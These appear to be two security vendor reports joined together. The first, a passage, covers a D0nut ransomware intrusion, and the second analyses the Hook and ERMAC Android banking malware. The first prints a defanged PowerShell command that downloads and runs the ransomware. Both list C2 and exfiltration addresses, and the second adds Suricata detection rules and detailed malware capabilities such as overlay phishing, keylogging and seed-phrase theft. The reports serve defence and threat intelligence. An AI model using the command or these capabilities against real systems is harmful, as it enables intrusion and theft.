As part of their efforts to evade interference from security software, the threat actor made use of two files, d.dll and def.exe, which were responsible for dropping the vulnerable driver RTCore64.sys, which has reportedly been exploited by other ransomware groups to disable AV and EDR solutions. The files were dropped in the following folders: 

• C:\temp\ 
• C:\ProgramData\ 

Analysis of def.exe identified that the program escalated privileges via process injection, allowing it to terminate any system-level processes not present in its internally stored whitelist.   

The threat actor took additional measures by appending registry configurations to a pre-existing GPO that would disable detection and prevention functionality of Windows Defender. Exclusions for all files with a .exe or .dll extension were also set, along with exclusions for files within the C:\ProgramData\ and C:\directories. The below configuration was applied across all hosts present on the compromised domain:  

Command and Control

Cobalt Strike Beacons were heavily utilised to maintain a presence within the network and to extend access via lateral movement.  

SystemBC was also deployed sparingly and appeared to be purely for establishing persistence within the network. SystemBC is a commodity malware backdoor which leverages SOCKS proxying for covert channelling of C2 communications to the operator. Serving as a proxy, SystemBC becomes a conduit for other malware deployed by threat actors to tunnel C2 traffic. Additionally, certain variants facilitate downloading and execution of further payloads, such as shellcode or PowerShell scripts issued by the threat actor.  

Analysis of the executable identified the following IP addresses which are contacted on port 4001 to establish communications with the C2 server: 

• 85.239.52[.]7  
• 194.87.111[.]29  

Exfiltration  

Rclone, an open-source file cloud storage program heavily favoured by threat actors to perform data exfiltration, was deployed once the threat actor had identified a system which hosted data of interest. Through recovering the Rclone configuration file located at C:\User\<user>\AppData\Roaming\rclone.conf, the SFTP server 83.149.93[.]150 was identified as the destination of the exfiltrated data.  

Initially deployed as rclone.exe, the threat actor swiftly renamed the file to explorer.exe in an attempt to blend in. However, due to the file residing in the File Server Resource Manager (FSRM) folder C:\StorageReports\Scheduled\, this artefact was highly noticeable.  

Impact

Ransomware was deployed to workstations and servers once the threat actor had exfiltrated data from the network to use as leverage in the forthcoming ransom demands. The ransomware also impacted an ESXi server, encrypting the hosted virtual machines at the hypervisor level.  

Volume shadow copies for a data drive of a file server were purged by the threat actor preceding the ransomware execution.   

The ransomware was downloaded and executed via the following PowerShell command: 

powershell.exe iwr -useb hxxp[:]//ix[.]io/4uD0 -outfile xd.exe ; .\xd.exe debug defgui 

In some other instances, the ransomware was deployed as wxd7.exe. The ransomware executables were observed being executed from the following locations (however it is likely that the folders may vary from case to case and the threat actor uses any folders in the root of C:\): 

• C:\Temp\ 
• C:\ProgramData\ 
• C:\storage\ 
• C:\StorageReports\

During analysis of the ransomware executable, the following help message was derived which provides command line arguments for the program: 

A fairly unique ransom note is dropped after the encryption process in the form of a HTML file named readme.html: 

Recommendations  

1. Ensure that both online and offline backups are taken and test the backup plan regularly to identify any weak points that could be exploited by an adversary.  

2. Hypervisors should be isolated by placing them in a separate domain or by adding them to a workgroup to ensure that any compromise in the domain in which the hosted virtual machines reside does not pose any risk to the Hypervisors.  

3. Restrict internal RDP and SMB traffic so that only hosts that are required to communicate via these protocols are allowed to.     

4. Monitor firewalls for anomalous spikes in data leaving the network. 

5. Apply Internet restrictions to servers so that they can only establish external communications with known good IP addresses and domains that are required for business operations. 

If you have been impacted by D0nut, or currently have an incident and would like support, please contact our Cyber Incident Response Team on +44 331 630 0690 or email [email protected]. 

Indicators Of Compromise  

IOC Value	Indicator Type	Description
hxxp[:]//ix[.]io/4uD0	URL	Hosted ransomware executable – xd.exe
85.239.52[.]7:4001	IP:PORT	SystemBC C2
194.87.111[.]29:4001	IP:PORT	SystemBC C2
83.149.93[.]150	IP Address	SFTP server used for data exfiltration
eb876e23dbbfe44c7406fcc7f557ee772894cc0b	SHA1	Ransomware executable – wxd7.exe
d4832169535e5d91b91093075f3b10b96973a250	SHA1	SystemBC executable – explorer.exe
550cd82011df93cc89dc0431fa13150707d6aca2	SHA1	Used to kill AV and EDR processes – def.exe
f6f11ad2cd2b0cf95ed42324876bee1d83e01775	SHA1	Used to kill AV and EDR processes – RTCore.sys
C:\ProgramData\xd.exe C:\temp\xd.exe C:\storage\xd.exe C:\Temp\wxd7.exe C:\ProgramData\wxd7.exe C:\storage\wxd7.exe C:\StorageReports\wxd7.exe	File Path	Ransomware executable
C:\ProgramData\explorer.exe	File Path	SystemBC
C:\StorageReports\Scheduled\explorer.exe	File Path	Rclone
C:\ProgramData\def.exe C:\temp\def.exe C:\ProgramData\d.dll C:\temp\d.dll	File Path	Used to kill AV and EDR processes

MITRE ATT CK®

Tactic	Technique	ID	Description
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	PowerShell was utilized to execute malicious commands
Execution	System Services: Service Execution	T1569.002	Cobalt Strike remotely created temporary services to execute its payload
Execution	System Services: Service Execution	T1569.002	PsExec creates a service to perform it’s execution
Persistence	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	T1547.001	SystemBC created a run key entry to establish persistence.
Privilege Escalation	Process Injection: Portable Executable Injection	T1055.002	def.exe achieved privilege escalation through process injection
Defense Evasion	Impair Defenses: Disable or Modify Tools	T1562.001	The threat actor modified a legitimate GPO to disable Windows Defender functionality
Defense Evasion	Impair Defenses: Disable or Modify Tools	T1562.001	def.exe and d.dll were deployed to terminate EDR and AV services
Lateral Movement	SMB/Admin Windows Shares	T1021.002	Cobalt Strike targeted SMB shares for lateral movement
Lateral Movement	SMB/Admin Windows Shares	T1021.002	PsExec uses SMB shares to execute processes on remote hosts
Lateral Movement	Remote Services: Remote Desktop Protocol	T1021.001	RDP was used to establish sessions to other hosts on the network
Command and Control	Proxy: External Proxy	T1090.002	SystemBC communicates with its C2 server via proxies
Exfiltration	Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	The threat actor exfiltrated data to an SFTP server
Impact	Inhibit System Recovery	T1490	Volume shadow copies for a file server were deleted prior to encryption from the ransomware
Impact	Data Encrypted for Impact	T1486	Ransomware was deployed to the estate and impacted both servers and user workstations
Impact	Data Encrypted for Impact	T1486	Virtual machines hosted on an ESXi server were encrypted at the hypervisor level

Authored by Joshua Kamp (main author) and Alberto Segura.

Summary

Hook and ERMAC are Android based malware families that are both advertised by the actor named “DukeEugene”. Hook is the latest variant to be released by this actor and was first announced at the start of 2023. In this announcement, the actor claims that Hook was written from scratch [1]. In our research, we have analysed two samples of Hook and two samples of ERMAC to further examine the technical differences between these malware families.

After our investigation, we concluded that the ERMAC source code was used as a base for Hook. All commands (30 in total) that the malware operator can send to a device infected with ERMAC malware, also exist in Hook. The code implementation for these commands is nearly identical. The main features in ERMAC are related to sending SMS messages, displaying a phishing window on top of a legitimate app, extracting a list of installed applications, SMS messages and accounts, and automated stealing of recovery seed phrases for multiple cryptocurrency wallets.

Hook has introduced a lot of new features, with a total of 38 additional commands when comparing the latest version of Hook to ERMAC. The most interesting new features in Hook are: streaming the victim’s screen and interacting with the interface to gain complete control over an infected device, the ability to take a photo of the victim using their front facing camera, stealing of cookies related to Google login sessions, and the added support for stealing recovery seeds from additional cryptocurrency wallets.

Hook had a relatively short run. It was first announced on the 12th of January 2023, and the closing of the project was announced on April 19th, 2023, due to “leaving for special military operation”. On May 11th, 2023, the actors claimed that the source code of Hook was sold at a price of $70.000. If these announcements are true, it could mean that we will see interesting new versions of Hook in the future.

The launch of Hook

On the 12th of January 2023, DukeEugene started advertising a new Android botnet to be available for rent: Hook.

Hook malware is designed to steal personal information from its infected users. It contains features such as keylogging, injections/overlay attacks to display phishing windows over (banking) apps (more on this in the “Overlay attacks” section of this blog), and automated stealing of cryptocurrency recovery seeds.

Financial gain seems to be the main motivator for operators that rent Hook, but the malware can be used to spy on its victims as well. Hook is rented out at a cost of $7.000 per month.

The malware was advertised with a wide range of functionality in both the control panel and build itself, and a snippet of this can be seen in the screenshot below.

Command comparison

Analyst’s note: The package names and file hashes that were analysed for this research can be found in the “Analysed samples” section at the end of this blog post.

While checking out the differences in these malware families, we compared the C2 commands (instructions that are sent by the malware operator to the infected device) in each sample. This analysis did lead us to find several new commands and features on Hook, as can be seen just looking at the number of commands implemented in each variant.

Sample	Number of commands
Hook sample #1	58
Hook sample #2	68
Ermac sample #1 #2	30

All 30 commands that exist in ERMAC also exist in Hook. Most of these commands are related to sending SMS messages, updating and starting injections, extracting a list of installed applications, SMS messages and accounts, and starting another app on the victim’s device (where cryptocurrency wallet apps are the main target). While simply launching another app may not seem that malicious at first, you will think differently after learning about the automated features in these malware families.

Both Hook and ERMAC contain automated functionality for stealing recovery seeds from cryptocurrency wallets. These can be used to gain access to the victim’s cryptocurrency. We will dive deeper into this feature later in the blog.

When comparing Hook to ERMAC, 29 new commands have been added to the first sample of Hook that we analysed, and the latest version of Hook contains 9 additional commands on top of that. Most of the commands that were added in Hook are related to interacting with the user interface (UI).

Hook command: start_vnc

The UI interaction related commands (such as “clickat” to click on a specific UI element and “longpress” to dispatch a long press gesture) in Hook go hand in hand with the new “start_vnc” command, which starts streaming the victim’s screen.

In the code snippet above we can see that the createScreenCaptureIntent() method is called on the MediaProjectionManager, which is necessary to start screen capture on the device. Along with the many commands to interact with the UI, this allows the malware operator to gain complete control over an infected device and perform actions on the victim’s behalf.

Command implementation

For the commands that are available in both ERMAC and Hook, the code implementation is nearly identical. Take the “logaccounts” command for example:

This command is used to obtain a list of available accounts by their name and type on the victim’s device. When comparing the code, it’s clear that the logging messages are the main difference. This is the case for all commands that are present in both ERMAC and Hook.

Russian commands

Both ERMAC and the Hook v1 sample that we analysed contain some rather edgy commands in Russian, that do not provide any useful functionality.

The command above translates to “Die_he_who_reversed_this“.

All the Russian commands create a file named “system.apk” in the “apk” directory and immediately deletes it. It appears that the authors have recently adapted their approach to managing a reputable business, as these commands were removed in the latest Hook sample that we analysed.

New commands in Hook V2

In the latest versions of Hook, the authors have added 9 additional commands compared to the first Hook sample that we analysed. These commands are:

Command	Description
send_sms_many	Sends an SMS message to multiple phone numbers
addwaitview	Displays a “wait / loading” view with a progress bar, custom background colour, text colour, and text to be displayed
removewaitview	Removes the “wait / loading” view that is displayed on the victim’s device because of the “addwaitview” command
addview	Adds a new view with a black background that covers the entire screen
removeview	Removes the view with the black background that was added by the “addview” command
cookie	Steals session cookies (targets victim’s Google account)
safepal	Starts the Safepal Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
exodus	Starts the Exodus Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
takephoto	Takes a photo of the victim using the front facing camera

One of the already existing commands, “onkeyevent”, also received a new payload option: “double_tap”. As the name suggests, this performs a double tap gesture on the victim’s screen, providing the malware operator with extra functionality to interact with the victim’s device user interface.

More interesting additions are: the support for stealing recovery seed phrases from other crypto wallets (Safepal and Exodus), taking a photo of the victim, and stealing session cookies. Session cookie stealing appears to be a popular trend in Android malware, as we have observed this feature being added to multiple malware families. This is an attractive feature, as it allows the actor to gain access to user accounts without needing the actual login credentials.

Device Admin abuse

Besides adding new commands, the authors have added more functionality related to the “Device Administration API” in the latest version of Hook. This API was developed to support enterprise apps in Android. When an app has device admin privileges, it gains additional capabilities meant for managing the device. This includes the ability to enforce password policies, locking the screen and even wiping the device remotely. As you may expect: abuse of these privileges is often seen in Android malware.

DeviceAdminReceiver and policies

To implement custom device admin functionality in a new class, it should extend the “DeviceAdminReceiver”. This class can be found by examining the app’s Manifest file and searching for the receiver with the “BIND_DEVICE_ADMIN” permission or the “DEVICE_ADMIN_ENABLED” action.

In the screenshot above, you can see an XML file declared as follows: android:resource=”@xml/buyanigetili. This file will contain the device admin policies that can be used by the app. Here’s a comparison of the device admin policies in ERMAC, Hook 1, and Hook 2:

Comparing Hook to ERMAC, the authors have removed the “WIPE_DATA” policy and added the “RESET_PASSWORD” policy in the first version of Hook. In the latest version of Hook, the “DISABLE_KEYGUARD_FEATURES” and “WATCH_LOGIN” policies were added. Below you’ll find a description of each policy that is seen in the screenshot.

Device Admin Policy	Description
USES_POLICY_FORCE_LOCK	The app can lock the device
USES_POLICY_WIPE_DATA	The app can factory reset the device
USES_POLICY_RESET_PASSWORD	The app can reset the device’s password/pin code
USES_POLICY_DISABLE_KEYGUARD_FEATURES	The app can disable use of keyguard (lock screen) features, such as the fingerprint scanner
USES_POLICY_WATCH_LOGIN	The app can watch login attempts from the user

The “DeviceAdminReceiver” class in Android contains methods that can be overridden. This is done to customise the behaviour of a device admin receiver. For example: the “onPasswordFailed” method in the DeviceAdminReceiver is called when an incorrect password is entered on the device. This method can be overridden to perform specific actions when a failed login attempt occurs. In ERMAC and Hook 1, the class that extends the DeviceAdminReceiver only overrides the onReceive() method and the implementation is minimal:

The onReceive() method is the entry point for broadcasts that are intercepted by the device admin receiver. In ERMAC and Hook 1 this only performs a check to see whether the received parameters are null and will throw an exception if they are.

DeviceAdminReceiver additions in latest version of Hook

In the latest edition of Hook, the class to extend the DeviceAdminReceiver does not just override the “onReceive” method. It also overrides the following methods:

Device Admin Method	Description
onDisableRequested()	Called when the user attempts to disable device admin. Gives the developer a chance to present a warning message to the user
onDisabled()	Called prior to device admin being disabled. Upon return, the app can no longer use the protected parts of the DevicePolicyManager API
onEnabled()	Called after device admin is first enabled. At this point, the app can use “DevicePolicyManager” to set the desired policies
onPasswordFailed()	Called when the user has entered an incorrect password for the device
onPasswordSucceeded()	Called after the user has entered a correct password for the device

When the victim attempts to disable device admin, a warning message is displayed that contains the text “Your mobile is die”.

The fingerprint scanner will be disabled when an incorrect password was entered on the victim’s device. Possibly to make it easier to break into the device later, by forcing the victim to enter their PIN and capturing it.

All keyguard (lock screen) features are enabled again when a correct password was entered on the victim’s device.

Overlay attacks

Overlay attacks, also known as injections, are a popular tactic to steal credentials on Android devices. When an app has permission to draw overlays, it can display content on top of other apps that are running on the device. This is interesting for threat actors, because it allows them to display a phishing window over a legitimate app. When the victim enters their credentials in this window, the malware will capture them.

Both ERMAC and Hook use web injections to display a phishing window as soon as it detects a targeted app being launched on the victim’s device.

In the screenshot above, you can see how ERMAC and Hook set up a WebView component and load the HTML code to be displayed over the target app by calling webView5.loadDataWithBaseURL(null, s6, “text/html”, “UTF-8”, null) and this.setContentView() on the WebView object. The “s6” variable will contain the data to be loaded. The main functionality is the same for both variants, with Hook having some additional logging messages.

The importance of accessibility services

Accessibility Service abuse plays an important role when it comes to web injections and other automated feature in ERMAC and Hook. Accessibility services are used to assist users with disabilities, or users who may temporarily be unable to fully interact with their Android device. For example: users that are driving might need additional or alternative interface feedback. Accessibility services run in the background and receive callbacks from the system when AccessibilityEvent is fired. Apps with accessibility service can have full visibility over UI events, both from the system and from 3rd party apps. They can receive notifications, they can get the package name, list UI elements, extract text, and more. While these services are meant to assist users, they can also be abused by malicious apps for activities such as: keylogging, automatically granting itself additional permissions, and monitoring foreground apps and overlaying them with phishing windows.

When ERMAC or Hook malware is first launched, it prompts the victim with a window that instructs them to enable accessibility services for the malicious app.

A warning message is displayed before enabling the accessibility service, which shows what actions the app will be able to perform when this is enabled.

With accessibility services enabled, ERMAC and Hook malware automatically grants itself additional permissions such as permission to draw overlays. The onAccessibilityEvent() method monitors the package names from received accessibility events, and the web injection related code will be executed when a target app is launched.

Targeted applications

When the infected device is ready to communicate with the C2 server, it sends a list of applications that are currently installed on the device. The C2 server then responds with the target apps that it has injections for. While dynamically analysing the latest version of Hook, we sent a custom HTTP request to the C2 server to make it believe that we have a large amount of apps (700+) installed. For this, we used the list of package names that CSIRT KNF had shared in an analysis report of Hook [2].

The server responded with the list of target apps that the malware can display phishing windows for. Most of the targeted apps in both Hook and ERMAC are related to banking.

Keylogging

Keylogging functionality can be found in the onAccessibilityEvent() method of both ERMAC and Hook. For every accessibility event type that is triggered on the infected device, a method is called that contains keylogger functionality. This method then checks what the accessibility event type was to label the log and extracts the text from it. Comparing the code implementation of keylogging in ERMAC to Hook, there are some slight differences in the accessibility event types that it checks for. But the main functionality of extracting text and sending it to the C2 with a certain label is the same.

The ERMAC keylogger contains an extra check for accessibility event “TYPE_VIEW_SELECTED” (triggered when a user selects a view, such as tapping on a button). Accessibility services can extract information about a selected view, such as the text, and that is exactly what is happening here.

Hook specifically checks for two other accessibility events: the “TYPE_WINDOW_STATE_CHANGED” event (triggered when the state of an active window changes, for example when a new window is opened) or the “TYPE_WINDOW_CONTENT_CHANGED” event (triggered when the content within a window changes, like when the text within a window is updated).

It checks for these events in combination with the content change type

“CONTENT_CHANGE_TYPE_TEXT” (indicating that the text of an UI element has changed). This tells us that the accessibility service is interested in changes of the textual content within a window, which is not surprising for a keylogger.

Stealing of crypto wallet seed phrases

Automatic stealing of recovery seeds from crypto wallets is one of the main features in ERMAC and Hook. This feature is actively developed, with support added for extra crypto wallets in the latest version of Hook.

For this feature, the accessibility service first checks if a crypto wallet app has been opened. Then, it will find UI elements by their ID (such as “com.wallet.crypto.trustapp:id/wallets_preference” and “com.wallet.crypto.trustapp:id/item_wallet_info_action”) and automatically clicks on these elements until it navigated to the view that contains the recovery seed phrase. For the crypto wallet app, it will look like the user is browsing to this phrase by themselves.

Once the window with the recovery seed phrase is reached, it will extract the words from the recovery seed phrase and send them to the C2 server.

The main implementation is the same in ERMAC and Hook for this feature, with Hook containing some extra logging messages and support for stealing seed phrases from additional cryptocurrency wallets.

Replacing copied crypto wallet addresses

Besides being able to automatically steal recovery seeds from opened crypto wallet apps, ERMAC and Hook can also detect whether a wallet address has been copied and replaces the clipboard with their own wallet address. It does this by monitoring for the “TYPE_VIEW_TEXT_CHANGED” event, and checking whether the text matches a regular expression for Bitcoin and Ethereum wallet addresses. If it matches, it will replace the clipboard text with the wallet address of the threat actor.

The wallet addresses that the actors use in both ERMAC and Hook are bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlf for Bitcoin and 0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca for Ethereum. It’s worth mentioning that these wallet addresses are the same in all samples that we analysed. It appears that this feature has not been very successful for the actors, as they have received only two transactions at the time of writing.

Since the feature has been so unsuccessful, we assume that both received transactions were initiated by the actors themselves. The latest transaction was received from a verified Binance exchange wallet, and it’s unlikely that this comes from an infected device. The other transaction comes from a wallet that could be owned by the Hook actors.

Stealing of session cookies

The “cookie” command is exclusive to Hook and was only added in the latest version of this malware. This feature allows the malware operator to steal session cookies in order to take over the victim’s login session. To do so, a new WebViewClient is set up. When the victim has logged onto their account, the onPageFinished() method of the WebView will be called and it sends the stolen cookies to the C2 server.

All cookie stealing code is related to Google accounts. This is in line with DukeEugene’s announcement of new features that were posted about on April 1st, 2023. See #12 in the screenshot below.

C2 communication protocol

HTTP in ERMAC

ERMAC is known to use the HTTP protocol for communicating with the C2 server, where data is encrypted using AES-256-CBC and then Base64 encoded. The bot sends HTTP POST requests to a randomly generated URL that ends with “.php/” (note that the IP of the C2 server remains the same).

WebSockets in Hook

The first editions of Hook introduced WebSocket communication using Socket.IO, and data is encrypted using the same mechanism as in ERMAC. The Socket.IO library is built on top of the WebSocket protocol and offers low-latency, bidirectional and event-based communication between a client and a server. Socket.IO provides additional guarantees such as fallback to the HTTP protocol and automatic reconnection [3].

The screenshot above shows that the login command was issued to the server, with the user ID of the infected device being sent as encrypted data. The “42” at the beginning of the message is standard in Socket.IO, where the “4” stands for the Engine.IO “message” packet type and the “2” for Socket.IO’s “message” packet type [3].

Mix and match – Protocols in latest versions of Hook

The latest Hook version that we’ve analysed contains the ERMAC HTTP protocol implementation, as well as the WebSocket implementation which already existed in previous editions of Hook. The Hook code snippet below shows that it uses the exact same code implementation as observed in ERMAC to build the URLs for HTTP requests.

Both Hook and ERMAC use the “checkAP” command to check for commands sent by the C2 server. In the screenshot below, you can see that the malware operator sent the “killme” command to the infected device to uninstall Hook. This shows that the ERMAC HTTP protocol is actively used in the latest versions of Hook, together with the already existing WebSocket implementation.

C2 servers

During our investigation into the technical differences between Hook and ERMAC, we have also collected C2 servers related to both families. From these servers, Russia is clearly the preferred country for hosting Hook and ERMAC C2s. We have identified a total of 23 Hook C2 servers that are hosted in Russia.

Other countries that we have found ERMAC and Hook are hosted in are:

• The Netherlands
• United Kingdom
• United States
• Germany
• France
• Korea
• Japan

The end?

On the 19th of April 2023, DukeEugene announced that they are closing the Hook project due to leaving for “special military operation”. The actor mentions that the coder of the Hook project, who goes by the nickname “RedDragon”, will continue to support their clients until their lease runs out.

Two days prior to this announcement, the coder of Hook created a post stating that the source code of Hook is for sale at a price of $70.000. Nearly a month later, on May 11th, the coder asked if the thread could be closed as the source code was sold.

Observations

In the “Replacing copied crypto wallet addresses” section of this blog, we mentioned that the first received transaction comes from an Ethereum wallet address that could possibly be owned by the Hook actors. We noticed that this wallet received a transaction of roughly $25.000 the day after Hook was announced sold. This could be a coincidence, but the fact that this wallet was also the first to send (a small amount of) money to the Ethereum address that is hardcoded in Hook and ERMAC makes us suspect this.

We can’t verify whether the messages from DukeEugene and RedDragon are true. But if they are, we expect to see interesting new forks of Hook in the future.

In this blog we’ve debunked DukeEugene’s statement of Hook being fully developed from scratch. Additionally, in DukeEugene’s advertisement of HookBot we see a screenshot of the Hook panel that seemed to show similarities with ERMAC’s panel.

Conclusion

While the actors of Hook had announced that the malware was written from scratch, it is clear that the ERMAC source code was used as a base. All commands that are present in ERMAC also exist in Hook, and the code implementation of these commands is nearly identical in both malware families. Both Hook and ERMAC contain typical features to steal credentials which are common in Android malware, such as overlay attacks/injections and keylogging. Perhaps a more interesting feature that exists in both malware families is the automated stealing of recovery seeds from cryptocurrency wallets.

While Hook was not written completely from scratch, the authors have added interesting new features compared to ERMAC. With the added capability of being able to stream the victim’s screen and interacting with the UI, operators of Hook can gain complete control over infected devices and perform actions on the user’s behalf. Other interesting new features include the ability to take a photo of the victim using their front facing camera, stealing of cookies related to Google login sessions, and the added support for stealing recovery seeds from additional cryptocurrency wallets.

Besides these new features, significant changes were made in the protocol for communicating with the C2 server. The first versions of Hook introduced WebSocket communication using the Socket.IO library. The latest version of Hook added the HTTP protocol implementation that was already present in ERMAC and can use this next to WebSocket communication.

Hook had a relatively short run. It was first announced on the 12th of January 2023, and the closing of the project was announced on April 19th, 2023, with the actor claiming that he is leaving for “special military operation”. The coder of Hook has allegedly put the source code up for sale at a price of $70,000 and stated that it was sold on May 11th, 2023. If these announcements are true, it could mean that we will see interesting new forks of Hook in the future.

Indicators of Compromise

Analysed samples

Family	Package name	File hash (SHA-256)
Hook	com.lojibiwawajinu.guna	c5996e7a701f1154b48f962d01d457f9b7e95d9c3dd9bbd6a8e083865d563622
Hook	com.wawocizurovi.gadomi	d651219c28eec876f8961dcd0a0e365df110f09b7ae72eccb9de8c84129e23cb
ERMAC	com.cazojowiruje.tutado	e0bd84272ea93ea857cc74a745727085cf214eef0b5dcaf3a220d982c89cea84
ERMAC	com.jakedegivuwuwe.yewo	6d8707da5cb71e23982bd29ac6a9f6069d6620f3bc7d1fd50b06e9897bc0ac50

C2 servers

Family	IP address
Hook	5.42.199[.]22
Hook	45.81.39[.]149
Hook	45.93.201[.]92
Hook	176.100.42[.]11
Hook	91.215.85[.]223
Hook	91.215.85[.]37
Hook	91.215.85[.]23
Hook	185.186.246[.]69
ERMAC	5.42.199[.]91
ERMAC	31.41.244[.]187
ERMAC	45.93.201[.]92
ERMAC	92.243.88[.]25
ERMAC	176.113.115[.]66
ERMAC	165.232.78[.]246
ERMAC	51.15.150[.]5
ERMAC	176.100.42[.]11
ERMAC	91.215.85[.]22
ERMAC	35.91.53[.]224
ERMAC	193.106.191[.]148
ERMAC	20.249.63[.]72
ERMAC	62.204.41[.]98
ERMAC	193.106.191[.]121
ERMAC	193.106.191[.]116
ERMAC	176.113.115[.]150
ERMAC	91.213.50[.]62
ERMAC	193.106.191[.]118
ERMAC	5.42.199[.]3
ERMAC	193.56.146[.]176
ERMAC	62.204.41[.]94
ERMAC	176.113.115[.]67
ERMAC	108.61.166[.]245
ERMAC	45.159.248[.]25
ERMAC	20.108.0[.]165
ERMAC	20.210.252[.]118
ERMAC	68.178.206[.]43
ERMAC	35.90.154[.]240

Network detection

The following Suricata rules were tested successfully against Hook network traffic:

	# Detection for Hook/ERMAC mobile malware
	alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"FOX-SRT – Mobile Malware – Possible Hook/ERMAC HTTP POST"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/php/"; depth:5; content:".php/"; isdataat:!1,relative; fast_pattern; pcre:"/^\/php\/[a-z0-9]{1,21}\.php\/$/U"; classtype:trojan-activity; priority:1; threshold:type limit,track by_src,count 1,seconds 3600; metadata:ids suricata; metadata:created_at 2023-06-02; metadata:updated_at 2023-06-07; sid:21004440; rev:2;)
	alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"FOX-SRT – Mobile Malware – Possible Hook Websocket Packet Observed (login)"; content:"|81|"; depth:1; byte_test:1,&,0x80,1; luajit:hook.lua; classtype:trojan-activity; priority:1; threshold:type limit,track by_src,count 1,seconds 3600; metadata:ids suricata; metadata:created_at 2023-06-02; metadata:updated_at 2023-06-07; sid:21004441; rev:2;)

view raw hook.rules hosted with ❤ by GitHub

The second Suricata rule uses an additional Lua script, which can be found here

List of Commands

Family	Command	Description
ERMAC, Hook 1 2	sendsms	Sends a specified SMS message to a specified number. If the SMS message is too large, it will send the message in multiple parts
ERMAC, Hook 1 2	startussd	Executes a given USSD code on the victim’s device
ERMAC, Hook 1 2	forwardcall	Sets up a call forwarder to forward all calls to the specified number in the payload
ERMAC, Hook 1 2	push	Displays a push notification on the victim’s device, with a custom app name, title, and text to be edited by the malware operator
ERMAC, Hook 1 2	getcontacts	Gets list of all contacts on the victim’s device
ERMAC, Hook 1 2	getaccounts	Gets a list of the accounts on the victim’s device by their name and account type
ERMAC, Hook 1 2	logaccounts	Gets a list of the accounts on the victim’s device by their name and account type
ERMAC, Hook 1 2	getinstallapps	Gets a list of the installed apps on the victim’s device
ERMAC, Hook 1 2	getsms	Steals all SMS messages from the victim’s device
ERMAC, Hook 1 2	startinject	Performs a phishing overlay attack against the given application
ERMAC, Hook 1 2	openurl	Opens the specified URL
ERMAC, Hook 1 2	startauthenticator2	Starts the Google Authenticator app
ERMAC, Hook 1 2	trust	Launches the Trust Wallet app
ERMAC, Hook 1 2	mycelium	Launches the Mycelium Wallet app
ERMAC, Hook 1 2	piuk	Launches the Blockchain Wallet app
ERMAC, Hook 1 2	samourai	Launches the Samourai Wallet app
ERMAC, Hook 1 2	bitcoincom	Launches the Bitcoin Wallet app
ERMAC, Hook 1 2	toshi	Launches the Coinbase Wallet app
ERMAC, Hook 1 2	metamask	Launches the Metamask Wallet app
ERMAC, Hook 1 2	sendsmsall	Sends a specified SMS message to all contacts on the victim’s device. If the SMS message is too large, it will send the message in multiple parts
ERMAC, Hook 1 2	startapp	Starts the app specified in the payload
ERMAC, Hook 1 2	clearcash	Sets the “autoClickCache” shared preference key to value 1, and launches the “Application Details” setting for the specified app (probably to clear the cache)
ERMAC, Hook 1 2	clearcache	Sets the “autoClickCache” shared preference key to value 1, and launches the “Application Details” setting for the specified app (probably to clear the cache)
ERMAC, Hook 1 2	calling	Calls the number specified in the “number” payload, tries to lock the device and attempts to hide and mute the application
ERMAC, Hook 1 2	deleteapplication	Uninstalls a specified application
ERMAC, Hook 1 2	startadmin	Sets the “start_admin” shared preference key to value 1, which is probably used as a check before attempting to gain Device Admin privileges (as seen in Hook samples)
ERMAC, Hook 1 2	killme	Stores the package name of the malicious app in the “killApplication” shared preference key, in order to uninstall it. This is the kill switch for the malware
ERMAC, Hook 1 2	updateinjectandlistapps	Gets a list of the currently installed apps on the victim’s device, and downloads the injection target lists
ERMAC, Hook 1 2	gmailtitles	Sets the “gm_list” shared preference key to the value “start” and starts the Gmail app
ERMAC, Hook 1 2	getgmailmessage	Sets the “gm_mes_command” shared preference key to the value “start” and starts the Gmail app
Hook 1 2	start_vnc	Starts capturing the victim’s screen constantly (streaming)
Hook 1 2	stop_vnc	Stops capturing the victim’s screen constantly (streaming)
Hook 1 2	takescreenshot	Takes a screenshot of the victim’s device (note that it starts the same activity as for the “start_vnc” command, but it does so without the extra “streamScreen” set to true to only take one screenshot)
Hook 1 2	swipe	Performs a swipe gesture with the specified 4 coordinates
Hook 1 2	swipeup	Perform a swipe up gesture
Hook 1 2	swipedown	Performs a swipe down gesture
Hook 1 2	swipeleft	Performs a swipe left gesture
Hook 1 2	swiperight	Performs a swipe right gesture
Hook 1 2	scrollup	Performs a scroll up gesture
Hook 1 2	scrolldown	Performs a scroll down gesture
Hook 1 2	onkeyevent	Performs a certain action depending on the specified key payload (POWER DIALOG, BACK, HOME, LOCK SCREEN, or RECENTS
Hook 1 2	onpointerevent	Sets X and Y coordinates and performs an action based on the payload text provided. Three options: “down”, “continue”, and “up”. It looks like these payload texts work together, as in: it first sets the starting coordinates where it should press down, then it sets the coordinates where it should draw a line to from the previous starting coordinates, then it performs a stroke gesture using this information
Hook 1 2	longpress	Dispatches a long press gesture at the specified coordinates
Hook 1 2	tap	Dispatches a tap gesture at the specified coordinates
Hook 1 2	clickat	Clicks at a specific UI element
Hook 1 2	clickattext	Clicks on the UI element with a specific text value
Hook 1 2	clickatcontaintext	Clicks on the UI element that contains the payload text
Hook 1 2	cuttext	Replaces the clipboard on the victim’s device with the payload text
Hook 1 2	settext	Sets a specified UI element to the specified text
Hook 1 2	openapp	Opens the specified app
Hook 1 2	openwhatsapp	Sends a message through Whatsapp to the specified number
Hook 1 2	addcontact	Adds a new contact to the victim’s device
Hook 1 2	getcallhistory	Gets a log of the calls that the victim made
Hook 1 2	makecall	Calls the number specified in the payload
Hook 1 2	forwardsms	Sets up an SMS forwarder to forward the received and sent SMS messages from the victim device to the specified number in the payload
Hook 1 2	getlocation	Gets the geographic coordinates (latitude and longitude) of the victim
Hook 1 2	getimages	Gets list of all images on the victim’s device
Hook 1 2	downloadimage	Downloads an image from the victim’s device
Hook 1 2	fmmanager	Either lists the files at a specified path (additional parameter “ls”), or downloads a file from the specified path (additional parameter “dl”)
